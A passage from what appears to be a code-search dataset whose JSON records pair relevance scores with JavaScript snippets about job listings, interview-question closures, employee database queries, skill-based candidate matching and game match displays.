work.jobs[job].dates);\n\t\t$(\".work-entry:last\").append(formattedWorkDates);\n\t\tvar formattedWorkLocation = HTMLworkLocation.replace(\"%data%\", work.jobs[job].location);\n\t\t$(\".work-entry:last\").append(formattedWorkLocation);\n\t\tvar formattedWorkDescription = HTMLworkDescription.replace(\"%data%\", work.jobs[job].description);\n\t\t$(\".work-entry:last\").append(formattedWorkDescription);\n\t}\n}", "title": "" }, { "docid": "0f822b3d65a5d31ef842d2c158789ecd", "score": "0.5025979", "text": "function interview(job){\n return function(name){\n if(job === 'designer'){\n console.log(name + ', can you please explain what UX design is?');\n }else if(job === 'teacher'){\n console.log(name + ', What subject do you teach?');\n }else{\n console.log('Hello ' + name + ', what do you do?');\n }\n }\n}", "title": "" }, { "docid": "f8893a4d8224ae2579124db443c97b16", "score": "0.5021985", "text": "function interviewQuestion(job) {\n return function(name) {\n if (job === 'designer') {\n console.log(name + ', por favor nos diga o que é UX?');\n\n } else if (job === 'teacher') {\n console.log(name + ', por favor nos diga que matéria você leciona?');\n\n } else {\n console.log('Olá,' + name + ' por favor nos diga o que você faz?');\n\n }\n }\n}", "title": "" }, { "docid": "26bd645b2b9390e7d576fabf26757839", "score": "0.50193024", "text": "renderJobsAppliedFor(){\n return (\n <div className=\"wrapper jobs-view\">\n {Object.values(this.props.jobsAppliedFor).map((item)=>{\n return (\n <div>\n <SearchResult data={item} onClick={this.showJobDetails}/>\n </div>\n )\n })}\n {this.state.currentlySelectedJob ? this.renderJobDetails(): null}\n </div>\n )\n }", "title": "" }, { "docid": "e2e692eaa27ad2c1f62e998a19494160", "score": "0.50157785", "text": "function getAndShowMatch(dayNum, matchNum, gameNum) {\n var match = curLeague.brackets[curBracket - 1].weeks[curWeek - 1].days[dayNum].matches[matchNum];\n\n showMatch(match, gameNum);\n}", "title": "" }, { "docid": "8a763d3a615c95180b4793a94bd94f85", "score": "0.50039774", "text": "function displayCoach() {\n const displayName = document.getElementById('coach-association').children[0]\n displayName.innerHTML = `Coach ${coach.lastName} <i class=\"fa fa-pencil\" onclick=\"updateCoachDetails()\"></i>`\n \n const teamName = document.getElementById('coach-association').children[1]\n teamName.innerHTML = `${team ? team : `<a href=\"#\" onclick=\"addTeam()\">Add Team Name</a>`}`\n}", "title": "" }, { "docid": "cfa0b1b9743f10b0342de7f841c5c446", "score": "0.4987265", "text": "function interviewQuestion(job) {\n return function(name) {\n if(job === 'designer') {\n console.log(name + ', can you please explain what UX design?');\n }\n else if(job === 'teacher') {\n console.log('What subject do you teach, ' + name + '?');\n }\n else {\n console.log('Hallo ' + name + ', what do you do?');\n }\n }\n}", "title": "" }, { "docid": "cfa0b1b9743f10b0342de7f841c5c446", "score": "0.4987265", "text": "function interviewQuestion(job) {\n return function(name) {\n if(job === 'designer') {\n console.log(name + ', can you please explain what UX design?');\n }\n else if(job === 'teacher') {\n console.log('What subject do you teach, ' + name + '?');\n }\n else {\n console.log('Hallo ' + name + ', what do you do?');\n }\n }\n}", "title": "" }, { "docid": "3407a22b46034c1ec466c184696c01b6", "score": "0.49640805", "text": "function interviewQuestion2(job) {\n return function(name) {\n if (job === 'designer') {\n console.log(name + ' can you please explain what UX design is?');\n } else if (job === 'teacher') {\n console.log('What subject do you teach, ' + name + '?');\n } else {\n console.log('Hello ' + name + '. What do you do?');\n }\n }\n}", "title": "" }, { "docid": "7208a758b23510b31123e678df0c0bc6", "score": "0.49621433", "text": "function displayLeaders(player) {\n $('#leader_' + player.playerID).html(player.playerName + \" has \" + player.playerNumWins + \" wins\");\n}", "title": "" }, { "docid": "9622b7194a7f44dfe28dadcc415d1e64", "score": "0.49533138", "text": "function matchJobSeeker() {\n var users;\n var eduPref = 0;\n var expPref = 0;\n var eduWeight = 0.1;\n var expWeight = 0.2;\n\n // Check state and city filter on employer_matches page\n if (document.getElementById(\"state\").value !== \"\" && document.getElementById(\"city\").value !== \"\") {\n users = \"/api/users/state/\" + document.getElementById(\"state\").value + \"/city/\" + document.getElementById(\"city\").value;\n } else if (document.getElementById(\"state\").value !== \"\") {\n users = \"/api/users/state/\" + document.getElementById(\"state\").value;\n } else if (document.getElementById(\"city\").value !== \"\") {\n users = \"/api/users/city/\" + document.getElementById(\"city\").value;\n }\n //If there are no filters, get all users for matchmaking\n else {\n users = \"/api/users/\";\n }\n\n // Check experience/education preferences on matches page\n if (document.getElementById(\"education\").value !== \"\") {\n eduPref = parseInt(document.getElementById(\"education\").value);\n }\n if (document.getElementById(\"experience\").value !== \"\") {\n expPref = parseInt(document.getElementById(\"experience\").value);\n }\n\n // Parameters entered as a binary string\n let parameterBinaryString;\n\n //Parameter binary string converted to int\n let parameterInt;\n\n //User indices\n let user = [];\n\n //Integers to compare\n let userMatch = [];\n\n //Percentage matches\n let percentageMatch = [];\n\n //No. matched skills\n let totalMatchedSkills = [];\n\n //No. total skills required\n let totalSkills;\n\n // Retrieve the employers skillset preference\n // convert binary sequence of the employer preferenced skillset to integer ex. ( 01010010101110 )\n parameterBinaryString =\n +parseInt(document.getElementById(\"java\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"c\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"csharp\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"cplus\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"php\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"html\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"css\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"python\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"javascript\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"sql\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"unix\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"windows10\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"windows7\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"windowsOld\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"windowsServer\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"macOS\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"linux\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"android\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"iOS\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"bash\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"ciscoSystems\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"microsoftOffice\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"ruby\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"powershell\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"rust\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"adobe\").checked + 0) + \"\" +\n +parseInt(document.getElementById(\"cloud\").checked + 0);\n\n parameterInt = parseInt(\"\" + parameterBinaryString, 2);\n\n //Get the users from the url specified\n $.getJSON(users, function (data) {\n\n for (let i = 0; i < data.length; i++) {\n user[i] = i;\n // convert binary sequence of a Job Postings required skillset to integer ex. ( 01010010101110 )\n userMatch[i] = parseInt(\"\" +\n data[i].java +\n data[i].c +\n data[i].csharp +\n data[i].cplus +\n data[i].php +\n data[i].html +\n data[i].css +\n data[i].python +\n data[i].javascript +\n data[i].sql +\n data[i].unix +\n data[i].windows10 +\n data[i].windows7 +\n data[i].windowsOld +\n data[i].windowsServer +\n data[i].macOS +\n data[i].linux +\n data[i].android +\n data[i].iOS +\n data[i].bash +\n data[i].ciscoSystems +\n data[i].microsoftOffice +\n data[i].ruby +\n data[i].powershell +\n data[i].rust +\n data[i].adobe +\n data[i].cloud, 2);\n\n let matchCalc = parameterInt & userMatch[i];\n\n let toBinary = (matchCalc).toString(2);\n\n //Final no. of matched skills (remove all zeros and count string length)\n let matchedSkills = toBinary.replace(/[^1]/g, \"\").length;\n totalMatchedSkills[i] = matchedSkills;\n\n // Calculate percentage match ( matched skills/amount of skills x 100 )\n let countEmployer = parameterBinaryString.replace(/[^1]/g, \"\").length;\n totalSkills = countEmployer;\n percentageMatch[i] = (matchedSkills / countEmployer) * 100;\n\n //Check length of the binary string with 0s removed. If they are both the same length, all skills match.\n if (matchedSkills === countEmployer) {\n percentageMatch[i] = 100;\n }\n\n //Calculate weighted percentage value, if required\n var weighting = 1;\n if (eduPref !== 0) {\n if (data[i].education >= eduPref) {\n weighting += eduWeight\n } else if (data[i].education < eduPref) {\n weighting -= eduWeight\n }\n }\n\n if (expPref !== 0) {\n if (data[i].experience >= expPref) {\n weighting += expWeight\n } else if (data[i].education < expPref) {\n weighting -= expWeight\n }\n }\n percentageMatch[i] = percentageMatch[i] * weighting;\n\n //When percentage matches are over 100 for whatever reason, set those matches to 100\n if (percentageMatch[i] > 100) {\n percentageMatch[i] = 100;\n }\n }\n\n //Bubble sort results; 100% matches at the top of the page.\n //https://medium.com/javascript-algorithms/javascript-algorithms-bubble-sort-3d27f285c3b2\n let swap;\n\n do {\n swap = false;\n\n for (let i = 0; i < user.length - 1; i++) {\n if (percentageMatch[i] < percentageMatch[i + 1]) {\n\n let tmpPercent = percentageMatch[i];\n percentageMatch[i] = percentageMatch[i + 1];\n percentageMatch[i + 1] = tmpPercent;\n\n let tmpUserId = user[i];\n user[i] = user[i + 1];\n user[i + 1] = tmpUserId;\n\n let tmpJobPost = userMatch[i];\n userMatch[i] = userMatch[i + 1];\n userMatch[i + 1] = tmpJobPost;\n\n swap = true;\n }\n }\n }\n while (swap);\n })\n .then(function () {\n\n $.getJSON(users, function (data) {\n if (data.length > 0) {\n\n for (let i = 0; i < data.length; i++) {\n printJobSeeker(\n data[user[i]].id,\n data[user[i]].name,\n data[user[i]].email,\n data[user[i]].state,\n data[user[i]].city,\n Math.round(percentageMatch[i]),\n totalMatchedSkills[user[i]],\n totalSkills);\n }\n } else {\n document.getElementById(\"employer_loading\").style.display = \"none\";\n document.getElementById(\"employer_nomatch\").style.display = \"block\";\n }\n })\n //Display any relevant errors on failure\n .fail(function () {\n document.getElementById(\"employer_loading\").style.display = \"none\";\n document.getElementById(\"employer_error\").style.display = \"block\";\n\n });\n });\n}", "title": "" }, { "docid": "620b12b57e451381babef25a2cdd6c82", "score": "0.49518827", "text": "function interviewQuestion(job){\r\n return function(name){\r\n if (job == 'designer'){\r\n console.log(name + ', Please explain UX concepts?');\r\n }else if (job == 'teacher'){\r\n console.log(name + ', What subjects you teach?')\r\n }else {\r\n console.log(name + ', What do you do?');\r\n } \r\n }\r\n}", "title": "" }, { "docid": "f1b5eca7126e5ae77fee88bd8fdaa8cc", "score": "0.4949609", "text": "function renderMatchingNumber() {\n var scoreNumDiv = $(\"<div id='score-number'>\").text(numberToMatch);\n $(\"#scoreArea\").html();\n $(\"#scoreArea\").html(scoreNumDiv);\n }", "title": "" }, { "docid": "3ffaa783f018fff21b4d7d7812501c53", "score": "0.49359593", "text": "function displayWork(){\n\tif(work.jobs.length > 0) {\n\t\t//create new div for work experience\n\t\t$(\"#workExperience\").append(HTMLworkStart);\n\t\tvar formattedEmployer;\n\t\tvar formattedTitle;\n\t\tvar formattedEmployerTitle;\n\t\tvar formattedworkDates;\n\t\tvar formattedworkLocation;\n\t\tvar formattedworkDescription;\n\n\t\tfor(job_iter in work.jobs){\n\t\t\tformattedEmployer = HTMLworkEmployer.replace(\"%data%\" , work.jobs[job_iter].employer);\n\t\t\tformattedTitle = HTMLworkTitle.replace(\"%data%\" , work.jobs[job_iter].position);\n\t\t\tformattedEmployerTitle = formattedEmployer + formattedTitle;\n\t\t\t$(\".work-entry:last\").append(formattedEmployerTitle);\n\n\t\t\tformattedworkDates = HTMLworkDates.replace(\"%data%\" , work.jobs[job_iter].years);\n\t\t\t$(\".work-entry:last\").append(formattedworkDates);\n\n\t\t\tformattedworkLocation = HTMLworkLocation.replace(\"%data%\" , work.jobs[job_iter].location);\n\t\t\t$(\".work-entry:last\").append(formattedworkLocation);\n\t\t\t\n\t\t\t\n\t\t\tformattedworkDescription = HTMLworkDescription.replace(\"%data%\" , work.jobs[job_iter].description);\n\t\t\t$(\".work-entry:last\").append(formattedworkDescription);\n\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d51e329493c237c827ed1c032236b1e6", "score": "0.49286702", "text": "function displayEmpInfo(emp) {\n\tconsole.log(`Full Name: ${emp.fullname()}, Current Salary: $${emp.salary}, Yearly Bonus: $${emp.calcBonus()}`);\n}", "title": "" }, { "docid": "910eb4bb5dc0c54d17a05e494f0767f7", "score": "0.4928119", "text": "function viewEmployees() {\n\n // Grabbing the needed data from the database to display employees info\n let query = `SELECT employee.id, employee.first_name, employee.last_name, role.title, department.name AS department, role.salary, CONCAT(m.first_name, ' ', m.last_name) AS manager \n FROM employee \n INNER JOIN role ON role.id = employee.role_id \n INNER JOIN department ON department.id = role.department_id \n LEFT JOIN employee m ON employee.manager_id = m.id \n ORDER BY employee.id`;\n\n connection.query(query, (err, res) => {\n if (err) return err;\n console.log(\"\\n ------ALL EMPLOYEES------ \\n\");\n\n // Using asciitable to display the data in table format.\n let options = {\n skinny: true,\n intersectionCharacter: \"*\",\n };\n\n let table = asciitable(options, res);\n\n console.log(table);\n\n // run the main main again.\n runEmployeeTracker();\n });\n}", "title": "" }, { "docid": "de4989e9762c060e273fbaf311f78c32", "score": "0.49215132", "text": "function display(){\n console.log(roster);\n }", "title": "" }, { "docid": "aa1dc3433b9b35d51b9995717dd38a4c", "score": "0.49201378", "text": "function interviewQuestions(job) {\n return function (name) {\n if (job === 'designer') {\n console.log(name+', can you pls explain what UX desigen is ?');\n } else if (job === 'teacher') {\n console.log('What subject do you teach '+name + ' ?');\n } else {\n console.log('Hello '+name + ', What do you do ?');\n }\n }\n}", "title": "" }, { "docid": "bde7a4082924c216933acaae6334fcef", "score": "0.49170026", "text": "function interviewQuestion(job) {\r\n // In here, according to each of the different jobs, we will return a different function which will then log a question to the console\r\n if (job === 'designer') {\r\n return function (name) {\r\n console.log(name + ', can you please explain is UX design is?');\r\n };\r\n } else if (job === 'teacher') {\r\n return function (name) {\r\n console.log(name + ', what subject(s) do you teach?');\r\n };\r\n } else {\r\n return function (name) {\r\n console.log('Hello ' + name + ', what do you do?');\r\n };\r\n }\r\n}", "title": "" }, { "docid": "b28d9d9a355b0e050fb47a750d68d783", "score": "0.49123552", "text": "function viewEmpByMgr (){\n connection.query('SELECT employee.first_name AS \"First Name\", employee.last_name AS \"Last Name\", role.title AS Title, role.salary AS Salary, department.name AS Department, CONCAT(manager.first_name, \" \", manager.last_name) AS Manager FROM employee LEFT JOIN role ON employee.role_id = role.id LEFT JOIN department ON role.department_id = department.id LEFT JOIN employee manager ON employee.manager_id = manager.id ORDER BY employee.manager_id', (err, employees) => {\n if (err) throw err;\n console.table(`Employee Listing:`, employees);\n // Once the employee table is listed, then call start again to choose another option\n start();\n })\n}", "title": "" }, { "docid": "9b9e085213204dff2f67077dc2831b2d", "score": "0.49123105", "text": "static printWorkerOutputs() {\n let workerTest = workerOutput || {};\n let workerIDs = Object.keys(workerTest); //get workers ids\n FancyTerminal.printWithBorders(\" Amount of Workers: \" + workerIDs.length);\n FancyTerminal.printSeperator();\n for (let i = 0; i < workerIDs.length; i++) { //for all workers\n let workerID = workerIDs[i]; //get worker\n FancyTerminal.printWithBorders(\" Worker: \" + workerID); //print name\n let saved = workerTest[workerID]; //get messages\n for (let j = 0; j < saved.length; j++) { //for all messages\n FancyTerminal.printWithBorders(\" \" + saved[j]); //print message\n }\n FancyTerminal.printSeperator();\n }\n }", "title": "" }, { "docid": "55525cbac5c9669a04edeb14c0c0b188", "score": "0.4911812", "text": "function displayLeaderboard(leaderboardData) {\n\tvar condensedLeaderboardTableContainerElement = $(\"#condensedLeaderboardTableContainer\");\n\tcondensedLeaderboardTableContainerElement.text(\"\");\n\tvar fullLeaderboardTableContainerElement = $(\"#fullLeaderboardTableContainer\");\n\tfullLeaderboardTableContainerElement.text(\"\");\n\n\t//shows just each player's best result\n\tvar condensedLeaderboard = constructLeaderboard(leaderboardData, true);\n\tcondensedLeaderboardTableContainerElement.append(condensedLeaderboard);\n\n\n\t//shows every entry in the leaderboard\n\tvar fullLeaderboard = constructLeaderboard(leaderboardData, false);\n\tfullLeaderboardTableContainerElement.append(fullLeaderboard);\n\n\t$(\"#leaderboardDiv\").show();\n\t$(\"#showLeaderboardButton\").hide();\n}", "title": "" }, { "docid": "3f4f7f863c0d4a179c78711d5d76668c", "score": "0.49115625", "text": "function printSearchInfos(oReport){\n\tvar sSummaryInfoHTML = '';\n\tvar bLog = true;\n\tif (oReport.query && oReport.match && oReport.match.length > 0) {\n\t\tif (oReport.match.length == 1) {\n\t\t\tsSummaryInfoHTML += printSearchInfo(oReport.match[0]);\n\t\t\t$('#title_panel .report').html(sSummaryInfoHTML);\n\t\t\tbLog = true;\n\t\t} else {\n\t\t\tbLog = false;\n\t\t}\n\t} else {\n\t\tbLog = false;\n\t}\n\treturn bLog;\t\t\t\n}", "title": "" }, { "docid": "5ab8eb58060d015c577baf50b3f63b31", "score": "0.49068737", "text": "function markerTitleMatch(match) {\n vm.removeSearchResults();\n for (var i = 0; i < mapPins.length; i++) {\n if (mapPins[i].matchTitle(match)) {\n mapPins[i].setSelected(true);\n vm.addSearchResult(mapPins[i]);\n } else {\n mapPins[i].setSelected(false);\n }\n }\n}", "title": "" }, { "docid": "e37f71e6f03e7a2112b4b3c797f21a80", "score": "0.49067318", "text": "function viewJobFiles(myJobId, machine) {\n $('#runningjobs').hide();\n $('#previousjobs').hide();\n $('#shirleyinfo').hide();\n $('#submitjobs').hide();\n $('#individualjob').show();\n individualJobWrapper(myJobId, machine);\n}", "title": "" }, { "docid": "d8a88cbcf7aecbaa18ebe017181214ea", "score": "0.48978174", "text": "function populateJobInfo (job){\n \n $('#manager-job-position').text(job.position);\n $('#manager-job-rate').text(job.hourlyRate);\n $('#manager-job-start').text(job.startDate);\n $('#manager-job-hours').text(job.hours);\n $('#manager-job-zip').text(job.zipcode);\n}", "title": "" }, { "docid": "5ae2cf660fc69fd298b52c0ff614194d", "score": "0.48930582", "text": "function interviewQuestion(job) { // because of closures, the nested function will have access to the \"job\" argument even after the first function has executed\n return function(name) {\n if (job === 'designer') {\n console.log(name + ', Can you please explain what UX design is?');\n } else if (job === 'teacher') {\n console.log(name + ' What subject do you teach?');\n } else {\n console.log('Hello ' + name + ', what do you do?');\n }\n }\n }", "title": "" }, { "docid": "7734ca681b142355dffc6ee76c17991f", "score": "0.48899248", "text": "function displayWork() {\n for (var job in work.jobs) {\n\n // appends to the \"workExperience\" div id in html\n $('#workExperience').append(HTMLworkStart);\n\n // formats employer for each job by using the replace method. Note\n // the \"job\" iterator is used as the index of the jobs array\n var formattedEmployer = HTMLworkEmployer.replace('%data%', work.jobs[job].employer);\n var formattedTitle = HTMLworkTitle.replace('%data%', work.jobs[job].title);\n var formattedEmployerTitle = formattedEmployer + formattedTitle;\n\n // appends formatted title & employer (which were concatenated above) to the \"work-entry\" div class in html.\n // :last tells computer that we append to the last page\n // element with class work-entry, rather than all that have that class\n $('.work-entry:last').append(formattedEmployerTitle);\n\n var formattedLocation = HTMLworkLocation.replace('%data%', work.jobs[job].location);\n $('.work-entry:last').append(formattedLocation);\n\n var formattedDates = HTMLworkDates.replace('%data%', work.jobs[job].dates);\n $('.work-entry:last').append(formattedDates);\n\n var formattedDescription = HTMLworkDescription.replace('%data%', work.jobs[job].description);\n $('.work-entry:last').append(formattedDescription);\n }\n}", "title": "" }, { "docid": "72e328f3c7a044a7cb44f4cd26535d99", "score": "0.48844278", "text": "function match(){\n\tmatch_Nomatch.innerHTML = \"matched\";\n}", "title": "" }, { "docid": "954b44b7dba075aad31c68e90cb70a2d", "score": "0.48840776", "text": "function viewConcordances() {\n\t\tvar $button = $(this);\n\t\tvar groupId = $button.data('groupId');\n\n\t\t// this parameter is local to this tab, as the other tabs are probably displaying other groups.\n\t\t$(this).trigger('localParameterChange', {\n\t\t\tviewGroup: groupId,\n\t\t\tpage: 0\n\t\t});\n\n\n\t\t// initialize the display indicating we're looking at a detailed group\n\n\t\t// Only set the text, don't show it yet\n\t\t// (it should always be hidden, as this function is only available/called when you're not currently viewing contents of a group)\n\t\t// This is a brittle solution, but better than nothing for now.\n\t\t// TODO when blacklab-server echoes this data in the search request, set these values in setTabResults() and remove this here\n\t\tvar groupName = $button.data('groupName');\n\t\tvar $tab = $button.closest('.tab-pane');\n\t\tvar $resultgroupdetails = $tab.find('.resultgroupdetails');\n\t\tvar $resultgroupname = $resultgroupdetails.find('.resultgroupname');\n\t\t$resultgroupname.text(groupName || '');\n\t}", "title": "" }, { "docid": "8f595312e5ca83a757418472bf092827", "score": "0.48836756", "text": "function printTeam() {\n const html = [];\n const startHtml = `<!DOCTYPE html>\n <html lang=\"en\">\n <head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css\"\n integrity=\"sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T\" crossorigin=\"anonymous\">\n <title>TEAM GENERATE</title>\n </head>\n\n <body>\n <header class='text-white bg-info'>\n <h1 class='text-center'>My Team</h1>\n </header>\n <section class='m-5'>\n <div class=\"container\">\n <div class=\"row\">`;\n html.push(startHtml);\n for (var i = 0; i < employee.length; i++) {\n let teamMemberHtml = `\n <div class=\"col-sm-4 card-deck\">\n <div class=\"card border-info mb-3\" style=\"max-width: 18rem\">\n <h5 class=\"card-header text-white bg-info\">${employee[i].name}<br /><br />${employee[i].getRole()}</h5>\n <ul class=\"list-group list-group-flush\">\n <li class=\"list-group-item\">ID: ${employee[i].id}</li>\n <li class=\"list-group-item\">Email Address: \n <a href='mailto:${employee[i].email} '> ${employee[i].email}</a>\n </li>`;\n if (employee[i].getRole() === 'Manager') {\n teamMemberHtml += `\n <li class=\"list-group-item\">Office Phone: ${employee[i].getOfficeNumber()}</li>`\n } else if (employee[i].getRole() === 'Engineer') {\n teamMemberHtml += `\n <li class=\"list-group-item\">GitHub: \n <a\n href='https://github.com/${employee[i].getGitHub()}'> ${employee[i].getGitHub()}</a>\n </li > `\n } else if (employee[i].getRole() === 'Intern') {\n teamMemberHtml += `\n <li class = \"list-group-item\" > School: ${employee[i].getSchool()} </li> `\n }\n teamMemberHtml += `\n </ul >\n </div >\n </div > `\n html.push(teamMemberHtml);\n }\n const endHtml = `\n </div >\n </div >\n </section >\n </body >\n </html > `\n html.push(endHtml);\n fs.writeFile('./output/index.html', html.join(''), (err) =>\n err ? console.error(err) : console.log('----------Success!----------')\n )\n}", "title": "" }, { "docid": "563afb82db612e358666e07d4359c73b", "score": "0.4878941", "text": "async function showMatchDetails(id) {\n let teamID = id.target.getAttribute(\"gameID\");\n let response = await axios.get(`${urlApiMatch}${teamID}`, {\n headers: {\n 'X-Auth-Token': api_key\n }\n });\n const results = response.data.match;\n renderMatchDetails(results)\n }", "title": "" }, { "docid": "26aa3d526363a009578131164256f6c2", "score": "0.48769882", "text": "function checkMatching() {\n const matcher = document.getElementById(\"match\");\n matcher.style.display = \"block\";\n const matcherNot = document.getElementById(\"not-Match\");\n matcherNot.style.display = \"none\";\n}", "title": "" }, { "docid": "e9ff94ab0172d8967567fb9c16f46e2b", "score": "0.487584", "text": "showTeam() {\n\t\tthis.gotoPage(2);\n\t}", "title": "" }, { "docid": "ecef7c3ac19cef547e66be541ae9f882", "score": "0.48326725", "text": "function printOverlay()\n{\n$('#divOverlay').jqprint();\n}", "title": "" }, { "docid": "2722f5e8b1ed1bded635c017e0602722", "score": "0.4830366", "text": "function details() {\n console.log(this.name + \" is a \" + this.job);\n }", "title": "" }, { "docid": "2ccff7584a5a3291e76a42c9baee8f83", "score": "0.48297456", "text": "function tellFortune (numChildren, partnerName, geoLocation, jobTitle){\n\n\n\t\t\tconsole.log( \" You will be \" + jobTitle + geoLocation + \" and married to \" + partnerName + numChildren )\n\n}", "title": "" }, { "docid": "f8eba664097c1182a9083b4f0a3d3802", "score": "0.4827146", "text": "function displayMatches() {\n const matchArray = findMatches(this.value, cities);\n const html = matchArray.map(place => {\n const regex = new RegExp(this.value, 'gi');\n const cityName = place.city.replace(regex, `<span class=\"hl\">${this.value}</span>`);\n const stateName = place.state.replace(regex, `<span class=\"hl\">${this.value}</span>`);\n const restaurantName = place.name.replace(regex, `<span class=\"hl\">${this.value}</span>`);\n const restaurantType = place.category.replace(regex, `<span class=\"hl\">${this.value}</span>`);\n const address = place.address_line_1.replace(regex, `<span class=\"hl\">${this.value}</span>`);\n const zipcode = place.zip.replace(regex, `<span class=\"hl\">${this.value}</span>`);\n \n //Formats selected info\n return `\n <li>\n <span class =\"restaurant\"><b>${restaurantName}</b></span><br>\n <span class =\"restaurantType\">${restaurantType}</span><br>\n <span class = \"address\">${address}</span><br>\n <span class=\"name\">${cityName}, ${stateName}</span><br>\n <span class =\"zipcode\">${zipcode}</span><br><br>\n </li>\n \n `;\n }).join('');\n suggestions.innerHTML = html;\n }", "title": "" }, { "docid": "4cc351bf70409a69cc7b0759afca88fe", "score": "0.481076", "text": "function interviewQuestion(job){\n return function(name){\n if(job==\"teacher\"){\n console.log(name+\" What Subject Do you teach : ?\");\n }\n \n else if(job==\"driver\"){\n \n console.log(name+\" Which Vehicle do you drive\");\n }\n \n else{\n \n console.log(\"Hello \"+name+\" What do you do ?\");\n }\n }\n\n}", "title": "" }, { "docid": "c0aed337afd2529eb0497d1092b6a2df", "score": "0.4804513", "text": "function interviewQuestion(job){\n if(job === 'designer'){\n return function(name){\n console.log(name + ', can you please explain what UX design is?');\n }\n }else if (job === 'teacher'){\n return function(name){\n console.log('What class do you teach, ' + name + '?');\n }\n }else{\n return function(name){\n console.log('Hello ' + name + ', What do you do?');\n }\n }\n }", "title": "" }, { "docid": "1270617f765a99a7c568fbb948f98959", "score": "0.48041308", "text": "function filterPrs(assignee) {\n $('.list-group-item').hide()\n .filter(function(index){\n return $(this).data('assignee-name') === assignee.name;\n }).show();\n }", "title": "" }, { "docid": "bba2150487ab134ff6f038cfa89562c4", "score": "0.4799735", "text": "function listingNameJob(name, job) {\n document.getElementById(\"nameJob\").innerHTML =\n \"Welcome \" + name + \", the \" + job + \".\";\n}", "title": "" }, { "docid": "0c5a7dcfa283d21de2325175a7ccb18b", "score": "0.47985053", "text": "function interviewQuestion(job)\n{\n return function(name){\n if (job === 'designer'){\n console.log(name + ', pls explain what UX design is?');\n }\n else if (job === 'teacher'){\n console.log(name + ', what subject do you teach?');\n }\n else{\n console.log('Hello ' + name + ' what do you do?');\n }\n }\n}", "title": "" }, { "docid": "64ef49c99a4c08359026a3ed3a0ba302", "score": "0.47965273", "text": "function showGame(match, game) {\n var pos = [];\n pos[\"top\"] = \"top\";\n pos[\"jungle\"] = \"jg\";\n pos[\"mid\"] = \"mid\";\n pos[\"ad\"] = \"adc\";\n pos[\"support\"] = \"sup\";\n\n //The elements\n var day = match.match_day;\n var team1Roster = $('#day' + (day + 1) + ' #match' + (match.match_num + 1) + ' #team1_roster .playerRow')\n var team2Roster = $('#day' + (day + 1) + ' #match' + (match.match_num + 1) + ' #team2_roster .playerRow')\n\n if (game == 0) { //Display data aggregated from all games in match\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #game_stream').hide();\n //The data\n var m = na_league.brackets[curBracket - 1].weeks[curWeek - 1].days[day].matches[match.match_num];\n\n //Set team results\n var t1Style;\n var t2Style;\n if (m.team1.games_won > m.team2.games_won) {\n t1Style = \"winner\";\n t2Style = \"loser\";\n } else if (m.team1.games_won < m.team2.games_won) {\n t1Style = \"loser\";\n t2Style = \"winner\";\n } else {\n t1Style = 'tied';\n t2Style = 'tied';\n }\n\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team1_results').html(m.team1.result + ' - ' + m.team1.games_won);\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team1_results').attr('class', '').addClass(t1Style).addClass('team1Results');\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team2_results').html(m.team2.games_won + ' - ' + m.team2.result);\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team2_results').attr('class', '').addClass(t2Style).addClass('team2Results');\n\n for (var i = 0; i < team1Roster.length; i++) {\n var pData = m.team1_roster[pos[team1Roster[i].id]];\n $(team1Roster[i]).find('#player_name').html(pData.name);\n $(team1Roster[i]).find('#kda').html(pData.stats.k + \"/\" + pData.stats.d + \"/\" + pData.stats.a);\n $(team1Roster[i]).find('#fantasy_pts').html(pData.stats.f_pts);\n\n var pData2 = m.team2_roster[pos[team2Roster[i].id]];\n $(team2Roster[i]).find('#player_name').html(pData2.name);\n $(team2Roster[i]).find('#kda').html(pData2.stats.k + \"/\" + pData2.stats.d + \"/\" + pData2.stats.a);\n $(team2Roster[i]).find('#fantasy_pts').html(pData2.stats.f_pts);\n }\n } else {\n //The data\n var curGame = na_league.brackets[curBracket - 1].weeks[curWeek - 1].days[day].matches[match.match_num].games[game - 1]; //Subtract 1 from game because 0 is reserved for the 'All' tab\n\n if (curGame.result == \"not played\") {\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #team1_roster' + ' #mid #player_name').html('Not Played');\n\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team1_results').html('');\n $('#day' + (match.match_day + 1) + ' #match' + (match.match_num + 1) + ' #matchHeader #results #team2_results').html('');\n } else 